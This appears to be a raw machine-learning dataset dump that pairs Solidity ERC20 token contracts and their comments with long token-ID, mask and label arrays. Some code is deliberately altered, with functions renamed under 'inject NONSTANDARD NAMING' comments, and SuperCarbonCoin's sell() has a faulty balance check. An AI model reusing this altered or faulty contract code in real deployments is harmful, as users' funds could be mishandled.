0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
13667,
310,
16936,
273,
1758,
12,
20,
92,
20,
41,
3361,
69,
41,
20,
5193,
72,
4630,
72,
9401,
8090,
31899,
40,
9222,
69,
8148,
31677,
8285,
21,
73,
38,
3361,
69,
23728,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/** ๅฎๆน้ซ็ดtoken */
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function destruct() public onlyOwner {
selfdestruct(owner);
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20() public {
totalSupply = 5000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "Super Carbon Coin"; // Set the name for display purposes
symbol = "SCC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract SuperCarbonCoinToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
uint256 public decimals = 18;
string public tokenName;
string public tokenSymbol;
uint minBalanceForAccounts ; //threshold amount
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function SuperCarbonCoinToken() public {
owner = msg.sender;
totalSupply = 5000000000000000000000000000;
balanceOf[owner]=totalSupply;
tokenName="Super Carbon Coin";
tokenSymbol="SCC";
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
///@param amount amount of tokens to be sold
function sell(uint256 amount) public {
//require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
require(balanceOf[msg.sender] >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
/* ่ฎพ็ฝฎ่ชๅจ่กฅๅ
gas็้ๅผไฟกๆฏ 201803202232 james */
function setMinBalance(uint minimumBalanceInFinney) public onlyOwner {
minBalanceForAccounts = minimumBalanceInFinney * 1 finney;
}
/* ่ฎพ็ฝฎtokenname */
function setTokenName(string newTokenName) public onlyOwner{
tokenName = newTokenName;
name = newTokenName;
}
/* ่ฎพ็ฝฎtokenSymbol */
function setTokenSymbol(string newTokenSymbol) public onlyOwner{
tokenSymbol = newTokenSymbol;
symbol = newTokenSymbol;
}
/* ็ฉบๆ */
function AirDrop(address[] dests, uint256[] values) public onlyOwner returns(uint256) {
uint256 i = 0;
while (i < dests.length) {
_transfer(this,dests[i], values[i]);
i += 1;
}
return i;
}
}
|
Set the name for display purposes
|
name = "Super Carbon Coin";
| 14,387,950 |
[
1,
694,
326,
508,
364,
2562,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
508,
273,
315,
8051,
13353,
28932,
14432,
4766,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.1;
interface ERC20 {
function BALANCEOF826(address _owner) external view returns (uint256); //inject NONSTANDARD NAMING
function ALLOWANCE267(address _owner, address _spender) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER297(address _to, uint256 _value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM696(address _from, address _to, uint256 _value) external returns (bool); //inject NONSTANDARD NAMING
function APPROVE799(address _spender, uint256 _value) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER889(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL734(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function MUL624(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function DIV846(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a / b;
return c;
}
function SUB910(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
assert(b <= a);
return a - b;
}
function ADD174(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract afalos is ERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "Afalos.network";
string public symbol = "AFAK";
uint8 public constant decimals879 = 18; //inject NONSTANDARD NAMING
uint256 public constant decimalfactor655 = 10 ** uint256(decimals879); //inject NONSTANDARD NAMING
uint256 public constant totalsupply495 = 500 * decimalfactor655; //inject NONSTANDARD NAMING
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event TRANSFER889(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL734(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
constructor() public {
balances[msg.sender] = totalsupply495;
deployer = msg.sender;
emit TRANSFER889(address(0), msg.sender, totalsupply495);
}
function BALANCEOF826(address _owner) public view returns (uint256 balance) { //inject NONSTANDARD NAMING
return balances[_owner];
}
function ALLOWANCE267(address _owner, address _spender) public view returns (uint256) { //inject NONSTANDARD NAMING
return allowed[_owner][_spender];
}
function TRANSFER297(address _to, uint256 _value) public returns (bool) { //inject NONSTANDARD NAMING
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].SUB910(_value);
balances[_to] = balances[_to].ADD174(_value);
emit TRANSFER889(msg.sender, _to, _value);
return true;
}
function TRANSFERFROM696(address _from, address _to, uint256 _value) public returns (bool) { //inject NONSTANDARD NAMING
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].SUB910(_value);
balances[_to] = balances[_to].ADD174(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].SUB910(_value);
emit TRANSFER889(_from, _to, _value);
return true;
}
function APPROVE799(address _spender, uint256 _value) public returns (bool) { //inject NONSTANDARD NAMING
allowed[msg.sender][_spender] = _value;
emit APPROVAL734(msg.sender, _spender, _value);
return true;
}
function INCREASEAPPROVAL719(address _spender, uint _addedValue) public returns (bool) { //inject NONSTANDARD NAMING
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].ADD174(_addedValue);
emit APPROVAL734(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function DECREASEAPPROVAL265(address _spender, uint _subtractedValue) public returns (bool) { //inject NONSTANDARD NAMING
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.SUB910(_subtractedValue);
}
emit APPROVAL734(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
inject NONSTANDARD NAMING
|
uint8 public constant decimals879 = 18;
| 12,904,133 |
[
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
28,
1071,
5381,
15105,
28,
7235,
273,
6549,
31,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/10/0x3c0FFAca566fCcfD9Cc95139FEF6CBA143795963/sources/contracts/saddle/Swap.sol
|
* @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly over period of 4 weeks since last deposit will apply. @param tokenAmount the amount of the token you want to receive @param tokenIndex the index of the token you want to receive @param minAmount the minimum amount to withdraw, otherwise revert @param deadline latest timestamp to accept this transaction @return amount of chosen token user received/ whenNotPaused
|
function removeLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount,
uint256 deadline
)
external
nonReentrant
deadlineCheck(deadline)
returns (uint256)
{
return
swapStorage.removeLiquidityOneToken(
tokenAmount,
tokenIndex,
minAmount
);
}
| 3,780,249 |
[
1,
3288,
4501,
372,
24237,
628,
326,
2845,
777,
316,
1245,
1147,
18,
3423,
9446,
14036,
716,
2109,
8271,
9103,
715,
1879,
3879,
434,
1059,
17314,
3241,
1142,
443,
1724,
903,
2230,
18,
225,
1147,
6275,
326,
3844,
434,
326,
1147,
1846,
2545,
358,
6798,
225,
1147,
1016,
326,
770,
434,
326,
1147,
1846,
2545,
358,
6798,
225,
1131,
6275,
326,
5224,
3844,
358,
598,
9446,
16,
3541,
15226,
225,
14096,
4891,
2858,
358,
2791,
333,
2492,
327,
3844,
434,
10447,
1147,
729,
5079,
19,
1347,
1248,
28590,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1206,
48,
18988,
24237,
3335,
1345,
12,
203,
3639,
2254,
5034,
1147,
6275,
16,
203,
3639,
2254,
28,
1147,
1016,
16,
203,
3639,
2254,
5034,
1131,
6275,
16,
203,
3639,
2254,
5034,
14096,
203,
565,
262,
203,
3639,
3903,
203,
3639,
1661,
426,
8230,
970,
203,
3639,
14096,
1564,
12,
22097,
1369,
13,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
203,
5411,
7720,
3245,
18,
4479,
48,
18988,
24237,
3335,
1345,
12,
203,
7734,
1147,
6275,
16,
203,
7734,
1147,
1016,
16,
203,
7734,
1131,
6275,
203,
5411,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x2b439926c8d6AeA20CF8aC1c972D4fE20Fd61647/sources/browser/PYLONTokenStorage.sol
|
Storage for a PYLON token
|
contract PYLONTokenStorage {
using SafeMath for uint256;
bool internal _notEntered;
string public name;
string public symbol;
uint8 public decimals;
address public gov;
address public pendingGov;
address public rebaser;
address public incentivizer;
uint256 public totalSupply;
uint256 public constant internalDecimals = 10**24;
uint256 public constant BASE = 10**18;
uint256 public pylonsScalingFactor;
mapping (address => uint256) internal _pylonBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
| 8,391,576 |
[
1,
3245,
364,
279,
12191,
20587,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
12191,
20587,
1345,
3245,
288,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
1426,
2713,
389,
902,
10237,
329,
31,
203,
203,
565,
533,
1071,
508,
31,
203,
203,
565,
533,
1071,
3273,
31,
203,
203,
565,
2254,
28,
1071,
15105,
31,
203,
203,
565,
1758,
1071,
31841,
31,
203,
203,
565,
1758,
1071,
4634,
43,
1527,
31,
203,
203,
565,
1758,
1071,
283,
9157,
264,
31,
203,
203,
565,
1758,
1071,
316,
2998,
427,
1824,
31,
203,
203,
565,
2254,
5034,
1071,
2078,
3088,
1283,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
2713,
31809,
273,
1728,
636,
3247,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
10250,
